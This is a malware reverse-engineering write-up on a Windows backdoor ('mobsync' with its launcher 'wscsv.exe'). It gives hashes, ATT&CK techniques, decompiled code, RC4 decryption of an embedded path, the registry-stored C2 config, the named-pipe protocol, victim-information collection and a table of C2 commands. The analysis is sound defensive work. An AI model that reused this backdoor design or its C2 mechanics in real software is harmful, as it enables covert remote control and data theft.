

mobsync

I. Overview

[+] mobsync.exe

- SHA1 : ed525bd72a17bc7f7c7e7691942fcafb79413463

[+] wscsv.exe

- SHA1 : 35cf7d712e4991f1a37d576b44bade5d516f421a

II. Techniques

[+] Defense Evasion

- T1140 : Deobfuscate/Decode Files or Information
- T1112 : Modify Registry

[+] Discovery

- T1012 : Query Registry
- T1057 : Process Discovery
- T1124 : System Time Discovery
- T1033 : System Owner/User Discovery
- T1082 : System Information Discovery

[+] Command and Control

- T1001 : Data Obfuscation

[+] Exfiltration

- T1041 : Exfiltration Over C2 Channel

III. Analysis

[+] wscsv.exe

This is a service program, its sole purpose is to run mobsync.exe

The PE file contains an encrypted resource (0x61 bytes) of mobsync.exe's path

```
84 57 47 53 62 E8 43 1D 25 B8 E7 63 08 ED EE 63 AD E9 48 3C A4 3F
92 AE C1 05 A0 09 56 63 DD 20 AC 6A 50 6F FC 48 C7 C5 48 E6 A8 BA
89 D5 AE F3 72 FA 67 18 68 62 E0 D3 F3 28 BA 7A F4 BD 84 22 37 73
60 F5 92 C2 8F 47 9A B3 B5 31 BC 92 3F BE CF 93 0F EE 45 E8 60 FD
31 8B B7 A8 3D DA 3E 88 A8
```

```
24 *(_DWORD *)(a1 + 16) = 0;
25 v12 = a1;
26 *(_WORD *)a1 = 0;
27 resource_data = 0;
28 v10 = 0;
29 v11 = 0;
30 v20 = 2;
31 if ( !load_resource((int)&resource_data) )
32 {
33     v8 = v10 - (_DWORD)resource_data;
34     v13 = (_DWORD *)(v10 - (_DWORD)resource_data - 17);
35     memset(v14, 0, sizeof(v14));
36     v15 = 0;
37     rc4_generate_keystream((int)v14, (int)resource_data);
38     v1 = (char *)resource_data + 17;
39     rc4_decrypt((int)v14, (int)resource_data + 17, (int)v13, (_BYTE *)resource_data + 17);
40     v13 = (char *)resource_data + 25;
41     if ( crc32_hash(0, (int)resource_data + 25, v8 - 25) == *v1 )
42     {
43         v6 = (int)v13 + *v13 + 4;
44         v17 = 0;
45         v18 = 0;
46         v19 = 0;
47         sub_404850(v13, v13 + 4, 0, v17, v6, v19);
```

First it loads resource to memory and starts to decrypt it

```

1 int __usercall sub_404EF0@<eax>(int a1@<esi>, int a2)
2 {
3     int v2; // ecx
4     int i; // eax
5     unsigned __int8 v4; // bl
6     int v5; // edx
7     int result; // eax
8     char v7; // [esp+1h] [ebp-1h]
9
10    v2 = 0;
11    for ( i = 0; i < 256; ++i )
12        *(_BYTE *)(i + a1) = i;
13    *(_WORD *)(a1 + 256) = 0;
14    v4 = 0;
15    do
16    {
17        v5 = v2 % 17;
18        v4 += *(_BYTE *)(++v2 + a1 - 1) + *(_BYTE *)(v5 + a2);
19        result = v4;
20        v7 = *(_BYTE *)(v2 + a1 - 1);
21        *(_BYTE *)(v2 + a1 - 1) = *(_BYTE *)(v4 + a1);
22        *(_BYTE *)(v4 + a1) = v7;
23    }
24    while ( v2 < 256 );
25    return result;
26 }

```

Here the RC4's signature algorithm is quite clear

And the key's size is determine by the value after % operation

So the first 17 bytes of the resource is RC4 key and the rest are cipher texts

RC4

Key:

84 57 47 53 62 E8 43 1D 25 B8 E7 63 08 ED EE 63
AD

Ciphertext:

E9 48 3C A4 3F 92 AE C1 05 A0 09 56 63 DD 20 AC
6A 50 6F FC 48 C7 C5 48 E6 A8 BA 89 D5 AE F3 72
FA 67 18 68 62 E0 D3 F3 28 BA 7A F4 BD 84 22 37
73 60 F5 92 C2 8F 47 9A B3 B5 31 BC 92 3F BE CF
93 0F EE 45 E8 60 FD 31 8B B7 A8 3D DA 3E 88 A8

Plaintext:

FB 5D DC AF 00 00 00 00 44 00 00 00 43 00 3A 00
5C 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00
5C 00 53 00 79 00 6E 00 63 00 20 00 43 00 65 00
6E 00 74 00 65 00 72 00 5C 00 6D 00 6F 00 62 00
73 00 79 00 6E 00 63 00 2E 00 65 00 78 00 65 00

Then it perform a crc-32 hash check with the data using the first 8 bytes of plaintext. The rest is a wide string indicates the mobsync.exe's path.

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Finally the path is passed to `sub_401570` and served as `lpApplicationName` in `CreateProcessW`

```
60  if ( (unsigned int)a13 < 8 )
61      p_lpCommandLine = (WCHAR *)&lpCommandLine;
62  v17 = lpApplicationName[0];
63  if ( v29 < 8 )
64      v17 = (const WCHAR *)lpApplicationName;
65  if ( !CreateProcessW(v17, p_lpCommandLine, 0, 0, 1, 0x8000000u, 0, v15, &StartupInfo, &ProcessIn
66      LastError = GetLastError();
67  if ( v26 >= 8 )
68      operator delete((void *)lpCurrentDirectory[0]);
69  v26 = 7;
70  v25 = 0;
71  LOWORD(lpCurrentDirectory[0]) = 0;
72  if ( v29 >= 8 )
73      operator delete((void *)lpApplicationName[0]);
```

[+] mobsync.exe

1. mutex

First it creates a mutex with a name that depends on user's logon name

```
25 get_user_logon_name(v14);
26 LOBYTE(v20) = 1;
27 v18 = 7;
28 v17 = 0;
29 LOWORD(lpName[0]) = 0;
30 wstrcpy_1((char *)L"Local\\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}", lpName, 44u);
31 LOBYTE(v20) = 2;
32 user_name = (void **)v14[0];
33 if ( v15 < 0x10 )
34     user_name = v14;
35 v5 = crc32_hash(0, (int)user_name, (int)v14[4]); // 0, user_name, len(user_name)
36 v6 = (_DWORD *)hex_to_dec((int)v13, v5);
37 LOBYTE(v20) = 3;
38 strcat_1(-1u, (char *)lpName, v6, 0); // dest_idx, dest, src, src_idx
39 LOBYTE(v20) = 2;
40 if ( v13[5] >= (void *)8 )
41     operator delete(v13[0]);
42 sub_A16C10(v11);
43 v7 = lpName[0];
44 if ( v18 < 8 )
45     v7 = (const WCHAR *)lpName;
46 if ( !OpenMutexW(0x1F0001u, 0, v7) )
47 {
48     v8 = lpName[0];
49     if ( v18 < 8 )
50         v8 = (const WCHAR *)lpName;
51     CreateMutexW(0, 0, v8);
52     main_logic();
53 }
54 if ( v18 >= 8 )
```

Mutex

"Local\\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}" + crc32(user_logon_name)

After that, it starts it's main logic code

2. communication setup

Overall, this sample uses iocp and named pipe to communicate with cnc server. It's config are stored in victim's registry and they are queried at runtime.

The first registry key it queries is this one

```
SOFTWARE\Microsoft\SkyDrive\{87F4F1B2-824E-420F-8B48-4E8B575C2A7B}\T
```

```
62  memset(v28, 0, sizeof(v28));
63  memset(v37, 0, sizeof(v37));
64  InitializeCriticalSection(&CriticalSection);
65  InitializeCriticalSection(&stru_A4647C);
66  query_reg_key_T(&v18); // query registry for time
67  // SOFTWARE\Microsoft\SkyDrive\{8
68  if ( !v18.dwLowDateTime && !v18.dwHighDateTime )
69  {
70      memset(&SystemTime, 0, sizeof(SystemTime));
71      FileTime = 0i64;
72      GetSystemTime(&SystemTime);
73      SystemTimeToFileTime(&SystemTime, &FileTime);
74      v18 = FileTime;
75      create_reg_key_T(&v18);
76  }
77  _beginthreadex(0, 0, (_beginthreadex_proc_type)thread_1, 0, 0, 0);
78  sleep = Sleep;
79  Sleep(1000u);
```

The call to `GetSystemTime` and `SystemTimeToFileTime` at line 72 and 73 gives us hint that this key contains information about time or the data is layed out as a `FILETIME` struct

Then it creates a new thread which will not actually run if global variable `run_thread_1` is not set to other value than 0

```

17  memset(struct_write_content, 0, sizeof(struct_write_content));
18  TickCount = GetTickCount();
19  while ( 1 )
20  {
21      while ( 1 )
22      {
23          v1 = EnterCriticalSection;
24          EnterCriticalSection(&stru_A4647C);
25          if ( run_thread_1 )
26              break;
27          LeaveCriticalSection(&stru_A4647C);
28          Sleep(1000u);
29      }
30      LeaveCriticalSection(&stru_A4647C);
31      if ( dword_A464D0 )

```

Next registry key in line queried:

```

28  decrypt_reg_key(v22);
29  v1 = 0;
30  v24 = 0;
31  v10 = 0;
32  do
33  {
34      v2 = (_DWORD *)hex_to_dec((int)v20, v1);
35      LOBYTE(v24) = 1;
36      memcpy_2((int)v19, (unsigned __int16 *)"D", v2);
37      if ( v21 >= 8 )
38          operator delete(v20[0]);
39      v11 = 0;
40      v12 = 0;
41      v13 = 0;
42      LOBYTE(v24) = 4;
43      if ( reg_query_value((BYTE *)&v11, HKEY_LOCAL_MACHINE, v22, v19) )
44          reg_query_value((BYTE *)&v11, HKEY_CURRENT_USER, v22, v19); // SOFTWARE\Microsoft
45      v3 = v11;
46      v4 = v12 - (_BYTE *)v11;
47

```

This one is a bit different from the previous key. Here it queries these keys:

```

"HKLM" OR "HKCU"
+ "SOFTWARE\Microsoft\SkyDrive\{87F4F1B2-824E-420F-8B48-4E8B575C2A7B}\\"
+ "D" + "0-4"

```

In total of 5 keys, follow up with this call to `gethostbyname` shows that this key must contain the CNC server's hostname


```

41 v28 = 0;
42 v29 = 0;
43 v30 = 0;
44 query_reg_key_D((int *)&v28); // SOFTWARE\Microsoft\SkyDrive\{87F4F1B
45 v2 = (v29 - (_BYTE *)v28) / 28;
46 v34 = 0;
47 v31 = (void **)v2;
48 if ( v2 )
49 {
50     v3 = (const char *)v28;
51     v33 = (const char *)v28;
52     do
53     {
54         if ( *((_DWORD *)v3 + 5) < 0x10u )
55             v4 = v3;
56         else
57             v4 = *(const char **)v3;
58         v5 = gethostbyname(v4);
59         v6 = 0;
60         v32 = v5;
61         if ( v5 )
62         {
63             h_addr_list = v5->h_addr_list;
64             v35 = 0;

```

Then it sets up iocp and named pipe for communication. Here we notice that `SystemTime.wDayOfWeek` is assigned with hard-coded value `12345` means that it only uses this struct to read/write data and not for anything related to times.

```

89 v18.dwLowDateTime = ((_BYTE *)Src - (_BYTE *)server_ip_array) >> 2;
90 while ( 1 )
91 {
92     while ( 1 )
93     {
94         *(_DWORD *)&SystemTime.wYear = 2;
95         *(_DWORD *)&SystemTime.wDayOfWeek = port_number;
96         if ( iocp_pipe_setup((int *)&SystemTime) )
97             break;
98         sleep(1000u);
99     }

```

```

0C0 ; HANDLE hObject
0C0 hObject      dd 0FFFFFFFFh
0C0
0C4 ; void *struct_hPipe
0C4 struct_hPipe dd 0FFFFFFFFh
0C4
0C8 port_number   dd 12345
0C8
0CC ; public class std::exception /*
0CC ; public class std::exception /*
0CC ; public class std::exception /*

```

```

9 v0 = ArgList;
10 result = (HANDLE)ini_iocp((HANDLE *)ArgList); // create (numberOfProcessor * 2) thread
11 // for multithreading communication
12 //
13 // these thread will work for the
14 // pipe created bellow
15 if ( result )
16 {
17     EventW = CreateEventW(0, 1, 0, 0); // create the event to signal that
18 // the async io has completed
19 v3 = *((_DWORD *)v0 + 26) == 2;
20 *(_DWORD *)v0 + 17) = EventW;
21 if ( v3 // setup named pipe
22     && (v4 = _beginthreadex(0, 0, (_beginthreadex_proc_type)pipe_setup, v0, 0, 0), *((_DWORD *)v0 + 16)
23     {
24         return close_iocp((HANDLE *)v0);
25     }

```

ini_iocp

```
8 InitializeCriticalSection((LPCRITICAL_SECTION)(a1 + 4));
9 InitializeCriticalSection((LPCRITICAL_SECTION)(a1 + 10));
10 *a1 = CreateSemaphoreW(0, 0, 16, 0);
11 GetSystemInfo(&SystemInfo);
12 v1 = SystemInfo.dwNumberOfProcessors * (_DWORD)a1[3]; // 2 threads per processor
13 a1[3] = (HANDLE)v1;
14 a1[2] = operator new[](4 * v1);
15 result = (int)CreateIoCompletionPort((HANDLE)-1, 0, 0, 0); // setup an I/O completion port
16 //
17 a1[1] = (HANDLE)result;
18 if ( result )
19 {
20     v3 = 0;
21     if ( a1[3] )
22     {
23         do
24             // create worker threads based on the
25             // number of processors available on the system *2
26             *((_DWORD *)a1[2] + v3++) = _beginthreadex(0, 0, (_beginthreadex_proc_type)server_worker_thread, a1,
27             while ( v3 < (unsigned int)a1[3] );
28     }
29     return 1;
30 }
31 return result;
```

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pipe_setup

```
36 if ( CryptAcquireContextW(&phProv, 0, 0, 1u, 8u)
37 || (result = GetLastError(), result == 0x8009000F) && (result = CryptAcquireContextW(&phProv, 0, 0, 1u, 0)) !=
38 {
39     if ( WaitForSingleObject(*(HANDLE *)a1, 0) )
40     {
41         do
42         {
43             pipe_name = get_pipe_name((char *)v23); // \\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5} + pid
44             if ( *((_DWORD *)pipe_name + 5) < 8u )
45                 v4 = (const WCHAR *)pipe_name;
46             else
47                 v4 = *(const WCHAR **)pipe_name;
48             NamedPipeW = CreateNamedPipeW(v4, 0x40000003u, 0, 0xFFu, *(_DWORD *)(a1 + 100), *(_DWORD *)(a1 + 100), 0,
49             hNamedPipe = NamedPipeW;
50             if ( v24 >= 8 )
51                 operator delete(v23[0]);
52             v24 = 7;
53             v23[4] = 0;
54             LOWORD(v23[0]) = 0;
55             if ( NamedPipeW == (HANDLE)-1 )
56                 break;
57             SetEvent(*(HANDLE *)(a1 + 68));
58             if ( !ConnectNamedPipe(hNamedPipe, 0) || *(_DWORD *)(a1 + 108) )
59                 break;
60             if ( v19 )
61                 // write pipe
62             {
63                 if ( v19 == (void *)1 )
64                     r
```

Named pipe

"\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}" + pid

It starts its first communication by sending the cnc server's ip into the named pipe

```

131 v5 = *(_DWORD *)struct_hPipe == 2;
132 FileTime.dwLowDateTime = v3; // first ip in array
133 if ( v5
134     && (v11 = (void *)*((_DWORD *)struct_hPipe + 2), // pipe handle
135         NumberOfBytesWritten = 0,
136         Buffer = 0, // checking if pipe work properly
137         WriteFile(v11, &FileTime, 4u, &NumberOfBytesWritten, 0)) // send ip
138     && ReadFile(v4[3], &Buffer, 4u, &NumberOfBytesWritten, 0) // recv data
139     && Buffer == FileTime.dwLowDateTime ) // check if recv data == sent ip
140 {
141     if ( send_data((int)v13, 1u) <= 0 )
142         goto LABLE1_ERROR_1;
143     v12 = 0;
144     if ( recv_data(1, &v12) <= 0 )
145         goto LABLE1_ERROR_1;
146     if ( v12 == 7 )

```

The communication is following this protocol

1. Send/recv data size (4 bytes)
2. If recv data: allocate buffer base on the size
3. Send/recv data

Before any server's cnc data, the client first collects some victim's information

```

148 v22 = 0x55;
149 if ( send_data((int)&v22, 4u) > 0 )
150 {
151     collect_machine_info(v28); // collect machine info size 0x55 (85)
152                               // - reg_key_U (struct + 0):
153                               // - computer_name (struct + 32)
154                               // - user_logon_name (struct + 47)
155                               // - reg_key_T (struct + 67)
156                               // - host_network_info (struct + 75)
157                               // - reg_key_G (struct + 80)
158                               // - 2 (struct + 81)
159                               //
160                               //
161 if ( send_data((int)v28, 0x55u) > 0 )
162 {
163     EnterCriticalSection(&stru_A4647C);
164     run_thread_1 = 1;
165     LeaveCriticalSection(&stru_A4647C);
166     while ( recv_data(4, (char *)&v14) > 0 ) // recv data size
167     {
168         if ( v14 - 8 <= 0x13FFFF8 )
169         {
170             v6 = (char *)operator new[](v14);
171             if ( recv_data(v14, v6) <= 0 ) // recv data
172                 goto LABLE1_CLEANING_UP_AND_RERUN;
173             _beginthread((_beginthread_proc_type)thread_cnc, 0, v6);
174         }
175     }
176     goto LABLE1_CLEANING_UP_AND_RERUN;
177 }

```

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host_network_info

Contains information about the workstation environment, including platform-specific information, the name of the domain and the local computer, and information concerning the operating system

Then the `run_thread_1` global variable is set to 1. That thread will take responsibility for setting up the cnc command's output data struct to send to cnc server.

thread_1

```
55     v6 = *(int **)((_DWORD *) (v3 + 4) + 4 * v4);
56     struct_write_content[0] = *v6;
57     struct_write_content[1] = v6[1];
58     struct_write_content[2] = v6[2];
59     struct_write_content[3] = v6[3];
60     struct_write_content[4] = v6[4];
61     struct_write_content[5] = v6[5];
62     if ( dword_A464D8 )
63     {
64         if ( dword_A464D0 <= (unsigned int) ++dword_A464D4 )
65             dword_A464D4 = 0;
66         if ( !--dword_A464D8 )
67             dword_A464D4 = 0;
68     }
69     if ( send_data((int) struct_write_content, 8u) > 0 )
70     {
71         if ( !struct_write_content[1] )
72             goto LABEL_25;
73         v7 = operator new[] (0xCu);
74         *v7 = struct_write_content[2];
75         v7[1] = struct_write_content[3];
76         v8 = v7;
77         v7[2] = struct_write_content[4];
78         v9 = send_data((int) v7, 12u);
79         operator delete[] (v8);
80         if ( v9 > 0 )
81         {
82             if ( !struct_write_content[4]
83                 || (v10 = send_data(struct_write_content[5], struct_write_content[4]), // send to cnc server
```

Finally, a new thread that handle the cnc data is created.

```
170         v6 = (char *) operator new[] (v14);
171         if ( recv_data(v14, v6) <= 0 ) // recv data
172             goto LABEL_CLEANING_UP_AND_RERUN;
173         _beginthread((_beginthread_proc_type) thread_cnc, 0, v6);
174     }
175 }
```

3. command and control

It uses switch-case to operate the cnc functions. The values are:

CNC

```
3: execute PE file
4: move file to %temp%
5: execute cmd command
6: zlib decompress
7: create registry key U
8: get the text that corresponds to all top-level
   windows on the screen
15: list all file in folder
16: move file
17: delete file
18: get all drives in the system
19: create folder
20: delete folder
```

Some commands has output that need to be sent to cnc server. The output first will be compressed and the thread create a new struct base on that output.

```
---
360 operator delete[](v51);
361 v7 = Size;
362 v45 = v44;
363 v46 = 12;
364 v47 = return_value;
365 v48 = Size;
366 v49 = 0;
367 if ( Size )
368 {
369     p_console_output = (void **)Size;
370     Size = 0;
371     Size = sub_A21690((unsigned int)p_console_output);
372     buffer = operator new[](Size);
373     if ( zlib_compress((int)buffer, (int *)&Size, (int)console_output, v7) )
374         v47 = 605;
375     v50 = operator new[](Size);
376     memcpy_0(v50, buffer, Size);
377     operator delete[](buffer);
378     v49 = Size;
379     v46 = Size + 12;
380 }
381 EnterCriticalSection(&CriticalSection);
382 cnc_data_setup(&v45);
383 LeaveCriticalSection(&CriticalSection);
384 if ( console_output )
385     operator delete(console_output);
386 sub_A13C70((int)&v68);
387 }
```

